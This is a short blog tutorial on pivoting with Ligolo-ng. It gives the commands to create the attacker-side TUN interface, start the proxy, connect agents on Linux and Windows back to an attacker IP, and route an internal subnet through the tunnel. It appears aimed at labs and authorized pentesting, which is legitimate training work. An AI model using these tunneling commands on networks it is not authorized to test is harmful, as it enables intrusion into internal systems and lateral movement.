343 words
2 minutes
Ligolo-ng: tunneling and basic pivoting

What is Ligolo-ng?#

Ligolo-ng is a very useful tool for pivoting and tunneling during lab environments, pentesting and offensive infrastructure preparation. It lets you route traffic toward internal networks through an agent and a proxy, without depending on a traditional VPN.

In this post I leave a basic and functional configuration to bring up the ligolo interface, start the proxy and connect the agent.


Prepare the TUN interface on the attacker machine#

First, delete any previous configuration and recreate the interface:

Terminal window
# Remove previous configuration if it exists
sudo ip link delete ligolo 2>/dev/null
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

Verify the interface is up#

Terminal window
ip link show ligolo

You should see the interface in the UP state.


Start the Ligolo-ng proxy#

On the attacker machine:

Terminal window
cd ~/tools/ligolo/proxy
./proxy -selfcert -laddr 0.0.0.0:11610

That process will leave the proxy listening on port 11610. Don’t close that terminal while the session is active.


Connect the agent#

On Linux#

Terminal window
./agent -connect 10.10.14.157:11610 -ignore-cert

On Windows#

Terminal window
./agent.exe -connect 10.10.14.157:11610 -ignore-cert

When the agent connects, from the proxy you’ll be able to select the session and bring up the tunnel.


Start the session and route the internal network#

After running start inside Ligolo-ng, add the route on your attacker machine toward the network you want to reach:

Terminal window
sudo ip route add 172.16.5.0/24 dev ligolo

With that, traffic destined for that network will be sent through the ligolo interface.


Summarized flow#

Terminal window
# 1. Prepare interface
sudo ip link delete ligolo 2>/dev/null
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# 2. Verify
ip link show ligolo
# 3. Start proxy
cd ~/tools/ligolo/proxy
./proxy -selfcert -laddr 0.0.0.0:11610
# 4. Connect Linux agent
./agent -connect 10.10.14.157:11610 -ignore-cert
# 5. Connect Windows agent
./agent.exe -connect 10.10.14.157:11610 -ignore-cert
# 6. After running start in Ligolo, add the route
sudo ip route add 172.16.5.0/24 dev ligolo

Recommendation#

Before adding routes, check carefully which subnet the active session shows you and make sure you’re not clobbering routes that already exist on your attacker machine. If you work with several internal networks, documenting each segment and each interface saves you quite a few mistakes during pivoting.

Ligolo-ng: tunneling and basic pivoting
https://oguiii.xyz/en/posts/ligolo-ng-pivoting/
Author
Oguiii
Published at
2026-03-19
License
CC BY-NC-SA 4.0